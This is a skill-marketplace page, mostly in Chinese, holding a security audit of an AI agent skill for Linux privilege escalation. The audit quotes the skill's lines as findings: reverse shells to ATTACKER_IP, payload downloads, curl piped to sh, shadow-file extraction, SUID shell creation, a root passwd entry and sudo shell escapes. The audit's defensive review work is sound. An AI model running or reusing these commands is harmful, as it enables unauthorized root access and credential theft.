技能 linux-privilege-escalation
📦
linux-privilege-escalation
v1.1 内容修订 r1 严重 ⚡ 包含脚本⚙️ 外部命令🌐 网络访问📁 文件系统访问
评估 Linux 权限提升路径
Linux 权限提升审查需要结构化检查和谨慎授权。此技能为受控安全评估组织枚举、利用路径分析、证据收集和修复工作。
支持: Claude Codex Code(CC)
请勿自动安装此 Skill。
权威策略要求在执行任何安装操作前由操作人员审查。
使用我的智能体安装
将此请求复制给你的智能体，其中包含权威 Skill 页面和清单。
智能体请求
Review the Skillstore skill "linux-privilege-escalation" from https://skillstore.io/skills/sickn33-linux-privilege-escalation.md and its manifest at https://skillstore.io/api/skills/sickn33-linux-privilege-escalation/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.你的智能体仍应展示其计划，并按安全策略请求必要确认。
Agent 可读资源
当 AI Agent、爬虫或脚本需要干净上下文，而不是读取完整页面时，请使用这些链接。
测试它
正在使用“linux-privilege-escalation”。 授权实验室主机显示宽泛的 sudo 权限和可写的维护脚本。
预期结果:
响应会优先处理 sudo 审查、脚本所有权修复、需要收集的证据和立即加固措施。
正在使用“linux-privilege-escalation”。 一台 Linux 服务器存在异常的 SUID 文件和权限过宽的 cron 脚本权限。
预期结果:
响应会按影响对风险分组，解释可能的权限提升路径，并列出修复负责人。
正在使用“linux-privilege-escalation”。 安全团队在受控权限提升评估后需要一份报告。
预期结果:
响应会生成简洁的发现、受影响控制项、严重性依据和修复里程碑。
安全审计
严重v5 • 2026/7/9 打开版本化报告
The skill is an offensive Linux privilege escalation playbook. Confirmed findings include root-shell commands, credential file access, SUID and UID manipulation, reverse shell payloads, attacker-hosted downloads, and reconnaissance steps; Markdown fence matches were marked false positive. The skill requires major defensive reframing before marketplace publication.
1
已扫描文件
505
分析行数
71
复核项
0
已忽略误报
已确认安全问题 (40)
严重
System password file access
cat /etc/passwd | grep -v nologin | grep -v false
The line enumerates /etc/passwd to identify login users during privilege escalation. Although often world-readable, this context supports offensive targeting.
严重
System password file access
cat /etc/passwd | grep home
The line enumerates /etc/passwd to identify login users during privilege escalation. Although often world-readable, this context supports offensive targeting.
严重
System password file access
sudo less /etc/passwd
The line opens /etc/passwd through sudo in a GTFOBins-style escalation section. The surrounding steps use the pager to launch a shell.
严重
System password file access
LFILE=/etc/shadow
The line reads or extracts the shadow password database for offline cracking. That is credential theft guidance in a privilege escalation workflow.
严重
System password file access
base64 /etc/shadow | base64 -d > shadow.txt
The line reads or extracts the shadow password database for offline cracking. That is credential theft guidance in a privilege escalation workflow.
严重
System password file access
base64 /etc/passwd | base64 -d > passwd.txt
The line enumerates /etc/passwd to identify login users during privilege escalation. Although often world-readable, this context supports offensive targeting.
严重
System password file access
# Add to /etc/passwd (using SUID editor)
The line introduces modifying /etc/passwd with a SUID editor to add a privileged account. That is credential and account control abuse.
严重
System password file access
$ base64 /etc/shadow | base64 -d
The line reads or extracts the shadow password database for offline cracking. That is credential theft guidance in a privilege escalation workflow.
显示全部 40 条已确认问题
严重
SUID bit modification
chmod +s /tmp/bash
The command sets the SUID bit on a shell or compiled payload to preserve elevated execution. This directly enables root privilege escalation.
严重
SUID bit modification
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
The command sets the SUID bit on a shell or compiled payload to preserve elevated execution. This directly enables root privilege escalation.
严重
SUID bit modification
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
The command sets the SUID bit on a shell or compiled payload to preserve elevated execution. This directly enables root privilege escalation.
严重
UID/GID manipulation
setgid(0);
The code changes UID or GID to 0 before spawning a shell. That is direct root privilege escalation behavior.
严重
UID/GID manipulation
setuid(0);
The code changes UID or GID to 0 before spawning a shell. That is direct root privilege escalation behavior.
严重
UID/GID manipulation
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The code changes UID or GID to 0 before spawning a shell. That is direct root privilege escalation behavior.
严重
UID/GID manipulation
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
The code changes UID or GID to 0 before spawning a shell. That is direct root privilege escalation behavior.
严重
UID/GID manipulation
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
The code changes UID or GID to 0 before spawning a shell. That is direct root privilege escalation behavior.
严重
UID/GID manipulation
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
The code changes UID or GID to 0 before spawning a shell. That is direct root privilege escalation behavior.
严重
Pipe to shell pattern
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
The command pipes a remote script directly into a shell without review or integrity checks. In this skill it runs offensive enumeration tooling on a target.
严重
End-to-End Privilege Escalation Playbook
The skill explicitly targets gaining root control from a low-privilege shell and includes successful sudo-to-root examples. This intent can operationalize unauthorized escalation.
The metadata, purpose, deliverables, and example all state or demonstrate root access as the objective. This is clear offensive workflow intent, not incidental command use.
严重
Credential Extraction And Offline Cracking Workflow
The skill instructs reading password and shadow data, creating hash files, and cracking them offline. This is credential theft guidance rather than only vulnerability reporting.
The cited sections combine shadow extraction with offline cracking steps. The sequence confirms credential-harvesting intent beyond simple file enumeration.
严重
Reverse Shell Payload Guidance
The skill includes reverse shell payloads and cron-script payload insertion that connect a target back to an operator. This enables remote interactive access.
The cited lines show callback shell payloads for cron hijacking and multiple shell implementations. The operator-controlled callback intent is explicit.
高
UID/GID manipulation
# Example: python with cap_setuid
The location introduces cap_setuid exploitation examples that immediately change process identity to root. The context confirms UID/GID abuse.
高
UID/GID manipulation
# Example: vim with cap_setuid
The location introduces cap_setuid exploitation examples that immediately change process identity to root. The context confirms UID/GID abuse.
高
UID/GID manipulation
# Example: perl with cap_setuid
The location introduces cap_setuid exploitation examples that immediately change process identity to root. The context confirms UID/GID abuse.
低
System reconnaissance
hostname
The command gathers host, kernel, or user context for the privilege escalation workflow. It is reconnaissance that supports later exploitation.
低
System reconnaissance
uname -a
The command gathers host, kernel, or user context for the privilege escalation workflow. It is reconnaissance that supports later exploitation.
低
System reconnaissance
whoami
The command gathers host, kernel, or user context for the privilege escalation workflow. It is reconnaissance that supports later exploitation.
低
System reconnaissance
id
The command gathers host, kernel, or user context for the privilege escalation workflow. It is reconnaissance that supports later exploitation.
低
System reconnaissance
void _init() {
The label is broad, but the location is inside exploit code or examples that obtain root identity. The surrounding section confirms offensive privilege escalation context.
低
System reconnaissance
# Example: python with cap_setuid
The label is broad, but the location is inside exploit code or examples that obtain root identity. The surrounding section confirms offensive privilege escalation context.
低
System reconnaissance
# Example: vim with cap_setuid
The label is broad, but the location is inside exploit code or examples that obtain root identity. The surrounding section confirms offensive privilege escalation context.
低
System reconnaissance
# Example: perl with cap_setuid
The label is broad, but the location is inside exploit code or examples that obtain root identity. The surrounding section confirms offensive privilege escalation context.
低
System reconnaissance
| Kernel version | `uname -a` |
The command gathers host, kernel, or user context for the privilege escalation workflow. It is reconnaissance that supports later exploitation.
低
System reconnaissance
# id
The command verifies root identity after a successful escalation example. It is low-risk alone but confirms the workflow aims for root access.
低
System reconnaissance
# id
The command verifies root identity after a successful escalation example. It is low-risk alone but confirms the workflow aims for root access.
低
Network reconnaissance
ifconfig
The command enumerates network interfaces, connections, or listening services on the target. This reconnaissance supports privilege escalation and lateral discovery.
低
Network reconnaissance
ip addr
The command enumerates network interfaces, connections, or listening services on the target. This reconnaissance supports privilege escalation and lateral discovery.
低
Network reconnaissance
netstat -antup
The command enumerates network interfaces, connections, or listening services on the target. This reconnaissance supports privilege escalation and lateral discovery.
低
Network reconnaissance
ss -tulpn
The command enumerates network interfaces, connections, or listening services on the target. This reconnaissance supports privilege escalation and lateral discovery.
低
Network reconnaissance
netstat -l
The command enumerates network interfaces, connections, or listening services on the target. This reconnaissance supports privilege escalation and lateral discovery.
能力复核项 (71)
这些是真实的本地能力，对此技能可能是预期行为，因此需要复核，但不会按已确认恶意行为计分。
严重
Python exec() function
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));con
The static label is imprecise, but the line is a Perl reverse shell that executes an interactive shell. In this privilege escalation guide, that is actionable command execution risk.
严重
Process exec
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));con
The line is a reverse shell payload that spawns an interactive shell and connects to an operator-controlled host. This is high-risk post-exploitation behavior.
严重
Python subprocess.call
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.f
The line is a reverse shell payload that spawns an interactive shell and connects to an operator-controlled host. This is high-risk post-exploitation behavior.
严重
Python os.system
sudo python -c 'import os; os.system("/bin/bash")'
The command invokes a shell from a privileged execution context to obtain root-level control. The surrounding section explicitly teaches privilege escalation.
严重
Python os.system
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command invokes a shell from a privileged execution context to obtain root-level control. The surrounding section explicitly teaches privilege escalation.
严重
Python os.exec variants
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
The command invokes a shell from a privileged execution context to obtain root-level control. The surrounding section explicitly teaches privilege escalation.
严重
Ruby/PHP system() call
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The system() call is used to spawn a shell or build a SUID-root payload. In this context it is direct privilege escalation guidance.
严重
Ruby/PHP system() call
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
The system() call is used to spawn a shell or build a SUID-root payload. In this context it is direct privilege escalation guidance.
严重
Unix shell invocation
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The shell invocation is part of creating or executing a SUID-root shell. That directly enables privilege escalation on a Linux host.
严重
Unix shell invocation
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
The shell invocation is part of creating or executing a SUID-root shell. That directly enables privilege escalation on a Linux host.
严重
Unix shell invocation
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
The shell invocation is part of creating or executing a SUID-root shell. That directly enables privilege escalation on a Linux host.
严重
Unix shell invocation
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
The shell invocation is part of a reverse shell payload that connects a target system back to an operator. This is actionable unauthorized access guidance if misused.
严重
Unix shell invocation
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
The shell invocation is part of creating or executing a SUID-root shell. That directly enables privilege escalation on a Linux host.
严重
Unix shell invocation
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.f
The shell invocation is part of a reverse shell payload that connects a target system back to an operator. This is actionable unauthorized access guidance if misused.
严重
Unix shell invocation
nc -e /bin/bash ATTACKER_IP 4444
The shell invocation is part of a reverse shell payload that connects a target system back to an operator. This is actionable unauthorized access guidance if misused.
严重
Unix shell invocation
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));con
The shell invocation is part of a reverse shell payload that connects a target system back to an operator. This is actionable unauthorized access guidance if misused.
严重
Unix shell invocation
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
The shell invocation is part of creating or executing a SUID-root shell. That directly enables privilege escalation on a Linux host.
严重
Hardcoded URL
wget http://ATTACKER_IP:8000/linpeas.sh
The URL pattern downloads enumeration or exploit code from an operator-controlled host during a privilege escalation workflow. That is a risky payload-transfer pattern.
严重
Hardcoded URL
wget http://ATTACKER_IP/exploit.c
The URL pattern downloads enumeration or exploit code from an operator-controlled host during a privilege escalation workflow. That is a risky payload-transfer pattern.
严重
Temp directory access
chmod +s /tmp/bash
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
严重
Temp directory access
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
严重
Temp directory access
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
严重
Temp directory access
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
高
Ruby/PHP system() call
sudo awk 'BEGIN {system("/bin/bash")}'
The system() call is used to spawn a shell or build a SUID-root payload. In this context it is direct privilege escalation guidance.
高
Ruby/PHP system() call
sudo python -c 'import os; os.system("/bin/bash")'
The system() call is used to spawn a shell or build a SUID-root payload. In this context it is direct privilege escalation guidance.
高
Ruby/PHP system() call
system("/bin/bash");
The system() call is used to spawn a shell or build a SUID-root payload. In this context it is direct privilege escalation guidance.
高
Ruby/PHP system() call
# Shows: system("service apache2 start")
The system() string appears in a PATH hijacking example for a SUID binary. It teaches replacing a privileged child command with attacker-controlled execution.
高
sudo privilege escalation
description: This skill should be used when the user asks to "escalate privileges on Linux", "find p
The skill metadata and purpose explicitly state that it helps identify and exploit Linux privilege escalation paths. That confirms offensive intent beyond general administration.
高
sudo privilege escalation
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconf
The skill metadata and purpose explicitly state that it helps identify and exploit Linux privilege escalation paths. That confirms offensive intent beyond general administration.
高
sudo privilege escalation
sudo -l
The command enumerates sudo rights as the first step in exploiting sudo misconfigurations. In this guide it feeds root shell techniques shown nearby.
高
sudo privilege escalation
# Example: vim with sudo
The location introduces concrete sudo exploitation examples that follow immediately. The surrounding commands show gaining a shell through sudo-enabled binaries.
高
sudo privilege escalation
sudo vim -c ':!/bin/bash'
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
高
sudo privilege escalation
# Example: find with sudo
The location introduces concrete sudo exploitation examples that follow immediately. The surrounding commands show gaining a shell through sudo-enabled binaries.
高
sudo privilege escalation
sudo find . -exec /bin/sh \; -quit
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
高
sudo privilege escalation
# Example: awk with sudo
The location introduces concrete sudo exploitation examples that follow immediately. The surrounding commands show gaining a shell through sudo-enabled binaries.
高
sudo privilege escalation
sudo awk 'BEGIN {system("/bin/bash")}'
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
高
sudo privilege escalation
# Example: python with sudo
The location introduces concrete sudo exploitation examples that follow immediately. The surrounding commands show gaining a shell through sudo-enabled binaries.
高
sudo privilege escalation
sudo python -c 'import os; os.system("/bin/bash")'
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
高
sudo privilege escalation
# Example: less with sudo
The location introduces concrete sudo exploitation examples that follow immediately. The surrounding commands show gaining a shell through sudo-enabled binaries.
高
sudo privilege escalation
sudo less /etc/passwd
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
高
sudo privilege escalation
# Execute with sudo
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
高
sudo privilege escalation
sudo LD_PRELOAD=/tmp/shell.so find
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
高
sudo privilege escalation
| Sudo rights | `sudo -l` |
The command enumerates sudo rights as the first step in exploiting sudo misconfigurations. In this guide it feeds root shell techniques shown nearby.
高
sudo privilege escalation
**Scenario**: User has sudo rights for find command
The location introduces concrete sudo exploitation examples that follow immediately. The surrounding commands show gaining a shell through sudo-enabled binaries.
高
sudo privilege escalation
$ sudo -l
The command enumerates sudo rights as the first step in exploiting sudo misconfigurations. In this guide it feeds root shell techniques shown nearby.
高
sudo privilege escalation
$ sudo find . -exec /bin/bash \; -quit
The line contains or supports a sudo-based escalation command that can produce root shell access. The surrounding section is an exploitation workflow.
高
Linux /proc filesystem access
cat /proc/version
The command reads kernel details from /proc to select kernel privilege escalation exploits. In this workflow the information is used for offensive targeting.
高
Linux /proc filesystem access
cat /proc/version
The command reads kernel details from /proc to select kernel privilege escalation exploits. In this workflow the information is used for offensive targeting.
高
Temp directory access
sudo LD_PRELOAD=/tmp/shell.so find
The temporary path stores a library loaded through sudo LD_PRELOAD. That is a known path to privileged code execution.
高
Temp directory access
cp /bin/bash /tmp/bash
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
高
Temp directory access
/tmp/bash -p
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
高
Temp directory access
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
The temporary path is used to place attacker-controlled executable content for PATH hijacking. The surrounding workflow executes it through a privileged binary.
高
Temp directory access
chmod +x /tmp/service
The temporary path is used to place attacker-controlled executable content for PATH hijacking. The surrounding workflow executes it through a privileged binary.
高
Temp directory access
mount -o rw TARGET_IP:/share /tmp/nfs
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
高
Temp directory access
$ /tmp/bash -p
The temporary path is used to create, store, or execute a SUID-root payload. This is direct system modification for privilege escalation.
中
Unix shell invocation
sudo vim -c ':!/bin/bash'
The shell invocation is executed through sudo or a sudo-enabled utility to gain an interactive root shell. The section is explicit exploitation guidance.
中
Unix shell invocation
sudo find . -exec /bin/sh \; -quit
The shell invocation is executed through sudo or a sudo-enabled utility to gain an interactive root shell. The section is explicit exploitation guidance.
中
Unix shell invocation
sudo awk 'BEGIN {system("/bin/bash")}'
The shell invocation is executed through sudo or a sudo-enabled utility to gain an interactive root shell. The section is explicit exploitation guidance.
中
Unix shell invocation
sudo python -c 'import os; os.system("/bin/bash")'
The shell invocation is executed through sudo or a sudo-enabled utility to gain an interactive root shell. The section is explicit exploitation guidance.
中
Unix shell invocation
!/bin/bash
The command invokes an interactive shell inside a privilege escalation workflow. The surrounding section shows how to turn that invocation into elevated access.
中
Unix shell invocation
system("/bin/bash");
The command invokes an interactive shell inside a privilege escalation workflow. The surrounding section shows how to turn that invocation into elevated access.
中
Unix shell invocation
cp /bin/bash /tmp/bash
The shell invocation is part of creating or executing a SUID-root shell. That directly enables privilege escalation on a Linux host.
中
Unix shell invocation
find . -exec /bin/sh -p \; -quit
The command invokes an interactive shell inside a privilege escalation workflow. The surrounding section shows how to turn that invocation into elevated access.
中
Unix shell invocation
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
The line creates a UID 0 login entry with a root shell. This is an account takeover and persistence technique, not benign shell configuration.
中
Unix shell invocation
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
The command invokes an interactive shell inside a privilege escalation workflow. The surrounding section shows how to turn that invocation into elevated access.
中
Unix shell invocation
$ sudo find . -exec /bin/bash \; -quit
The shell invocation is executed through sudo or a sudo-enabled utility to gain an interactive root shell. The section is explicit exploitation guidance.
低
Hardcoded URL
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
The URL is used to download a remote script and pipe it directly to a shell. That creates unreviewed remote code execution on the target system.
低
Hardcoded URL
Reference https://gtfobins.github.io for exploitation commands:
The URL points to external exploitation references or tooling used by this privilege escalation workflow. It can direct agents toward offensive techniques.
低
Hardcoded URL
- GTFOBins: https://gtfobins.github.io
The URL points to external exploitation references or tooling used by this privilege escalation workflow. It can direct agents toward offensive techniques.
低
Hardcoded URL
- LinPEAS: https://github.com/carlospolop/PEASS-ng
The URL points to external exploitation references or tooling used by this privilege escalation workflow. It can direct agents toward offensive techniques.
低
Hardcoded URL
- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
The URL points to external exploitation references or tooling used by this privilege escalation workflow. It can direct agents toward offensive techniques.
风险因素
⚡ 包含脚本 (1)
⚙️ 外部命令 (50)
SKILL.md:419 SKILL.md:413 SKILL.md:230 SKILL.md:322 SKILL.md:325 SKILL.md:57-73 SKILL.md:73-77 SKILL.md:77-94 SKILL.md:94-98 SKILL.md:98-112 SKILL.md:112-116 SKILL.md:116-126 SKILL.md:126-130 SKILL.md:130-136 SKILL.md:136-142 SKILL.md:142-154 SKILL.md:154-158 SKILL.md:158-166 SKILL.md:166-172 SKILL.md:172-175 SKILL.md:175-179 SKILL.md:179-185 SKILL.md:185-197 SKILL.md:197-206 SKILL.md:206-212 SKILL.md:212-214 SKILL.md:214-219 SKILL.md:219-235 SKILL.md:235-240 SKILL.md:240-252 SKILL.md:252-254 SKILL.md:254-260 SKILL.md:260-266 SKILL.md:266-269 SKILL.md:269-274 SKILL.md:274-286 SKILL.md:286-290 SKILL.md:290-298 SKILL.md:298-302 SKILL.md:302-308 SKILL.md:308-314 SKILL.md:314-316 SKILL.md:316-320 SKILL.md:320-329 SKILL.md:329-335 SKILL.md:335-347 SKILL.md:347-351 SKILL.md:351-359 SKILL.md:359-363 SKILL.md:363-373
🌐 网络访问 (7)
检测到的模式
System password file access×8SUID bit modification×3UID/GID manipulation×9Pipe to shell patternSystem reconnaissance×11Network reconnaissance×5
审计者: codex 查看审计历史 →
分享与引用此报告
分享版本化评估报告、中性徽章、嵌入卡片和引用。Skillstore 只报告证据，不判断该 Skill 是否安全。
复制报告链接
https://skillstore.io/skills/sickn33-linux-privilege-escalation/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 徽章
[](https://skillstore.io/skills/sickn33-linux-privilege-escalation?utm_source=security_passport_badge)HTML 徽章
<a href="https://skillstore.io/skills/sickn33-linux-privilege-escalation?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-linux-privilege-escalation/security.svg" alt="Skillstore security assessment" loading="lazy"></a>嵌入卡片
<iframe src="https://skillstore.io/embed/skills/sickn33-linux-privilege-escalation.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学术引用 (APA · BibTeX · CFF)
APA 引用
sickn33. (2026). linux-privilege-escalation security audit report (audit version 5) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-linux-privilege-escalation/audits/5BibTeX 引用
@techreport{sickn33-sickn33-linux-privilege-escalation-2026,
author = {sickn33},
title = {linux-privilege-escalation security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-linux-privilege-escalation/audits/5},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "linux-privilege-escalation security audit report (audit version 5)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-linux-privilege-escalation/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-linux-privilege-escalation:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore 评分
评分依据 证据置信度: 中 55
架构
85
可维护性
87
内容
70
社区
78
规范符合性
你能构建什么
验证实验室发现
使用检查清单在受控训练或测试环境中复现 Linux 权限提升路径。
构建授权评估结构
在有范围限定的 Linux 渗透测试期间规划枚举、证据收集和修复说明。
确定加固工作的优先级
将可能的权限提升路径映射到 sudo、SUID、cron、capabilities、NFS 和内核控制项。
试试这些提示
先审查范围
帮助我为授权实验室主机准备 Linux 权限提升审查计划。包括范围检查、证据目标和安全限制。
构建枚举计划
为有范围限定的内部评估创建 Linux 枚举检查清单。重点关注 sudo、SUID、cron、capabilities、kernel 和 NFS 审查。
安全分析发现
我有授权的 Linux 枚举结果。帮助我对权限提升风险进行排序，并在不运行利用命令的情况下编写修复步骤。
准备修复报告
将已验证的 Linux 权限提升发现转化为执行摘要、技术影响说明和按优先级排序的加固建议。
最佳实践
- 在使用任何评估工作流之前，确认书面授权和范围。
- 在进行任何会改变系统的测试之前，优先采用只读验证和防御性分析。
- 为每个发现记录证据、已审查的命令、影响和修复决策。
避免
- 不要将此技能用于你不拥有或不管理的系统。
- 未经明确批准，不要在生产系统上运行利用、reverse shell 或文件修改步骤。
- 不要在成功提升权限后就认为工作完成，还必须提供清理和修复指导。
常见问题
此技能适合自动安装吗？
不安全。它包含利用工作流，使用前应经过严格审查。
谁应该使用此技能？
仅限授权安全专业人员、实验室中的学生，或审查自有 Linux 系统的防守人员使用。
它会自行执行命令吗？
此技能是文档，但其中包含的命令如果被执行，可能会损害真实系统。
它能帮助修复吗？
可以。它可以在授权验证后组织发现并建议加固领域。
主要风险是什么？
主要风险包括 root shell 指导、凭据文件访问、reverse shell 和系统修改。
我可以将它用于合规证据吗？
只能将其用作规划辅助。请使用获批工具和有文档记录的流程来验证结果。
开发者详情
作者
sickn33许可证
MIT
作者版本
v1.1
Skillstore 修订
r1
版本提示
作者声明的版本不符合 SemVer 规范。
仓库
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/linux-privilege-escalation引用
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
维护新鲜度
2026/7/18
使用量
22 次下载 · 176 次浏览
文件结构
📄 SKILL.md